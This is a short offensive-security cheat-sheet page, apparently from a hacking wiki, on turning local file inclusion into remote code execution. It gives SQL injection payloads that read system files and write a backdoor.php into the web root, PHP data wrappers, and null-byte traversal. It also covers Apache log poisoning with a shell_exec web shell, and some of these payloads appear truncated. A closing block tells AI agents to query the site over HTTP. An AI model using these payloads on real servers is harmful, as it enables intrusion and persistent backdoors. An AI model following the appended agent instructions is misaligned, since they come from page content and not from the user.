# LFI
## Basic RCE Example:
{% tabs %}
{% tab title="LFI Read" %}
If you have SQLi or can modify templates, see if you can read a system file. If this works you can try for rce. (in this case its windows with apache):
union select all 1,2,3,4,load\_file('c:/windows/system32/drivers/etc/host'),6
{% endtab %}
{% tab title="LFI RCE" %}
Find a place to upload the *backdoor.php* file or inject it with SQLi. Then use the LFI to run it on system and get RCE.
union all select 1,2,3,4,"",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
{% endtab %}
{% endtabs %}
## **PHP WRAPPERS:**
#### Example 1:
**data:text/plain,hello world**
**T**he menu page is vulnerable to LFI attacks. If we submit a payload using a data\
wrapper, the application should treat it the text the same as a regular file and include it in the page.\
\
**data:text/plain,\**
{% hint style="info" %}
Often encodings are combined with this method. Below are a couple sources to get you started.
{% endhint %}
\
**EXAMPLE:**
------------
Found this code on the site:
include: Used to load files, (php files in this case) from the server locally and run them.\
\
In this case we can submit something other than en,fr,etc and have the server request other files. We test a common windows file to make sure our traversal works.
A null byte `%00` is used to stop the code from trying to append the php extension via the include statement.
### Log File Poison RCE:
One way to get RCE with LFI is by poisoning a log file with php then displaying the file in the browser so the php is executed. We can do this by making a bad request with nc that contains our code and then read back the log with apache php.
{% hint style="info" %}
Try other php shells if this does not work. It may also need the use of a pre tag to keep spacing. ex: \' . shell\_exec($\_GET\['cmd']) . '\';?>
{% endhint %}
This causes our request to get logged at : `c:\xampp\apache\logs\access.log`
{% hint style="warning" %}
`Match your log file type/path to the server you are attacking.`
{% endhint %}
#### Running the RCE:
Commands will be executed with the apache privs. From here a more persistent shell/backdoor can be established.
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://www.hackbook.io/web-application-hacking/web-techniques/file-and-resource-attacks/lfi.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.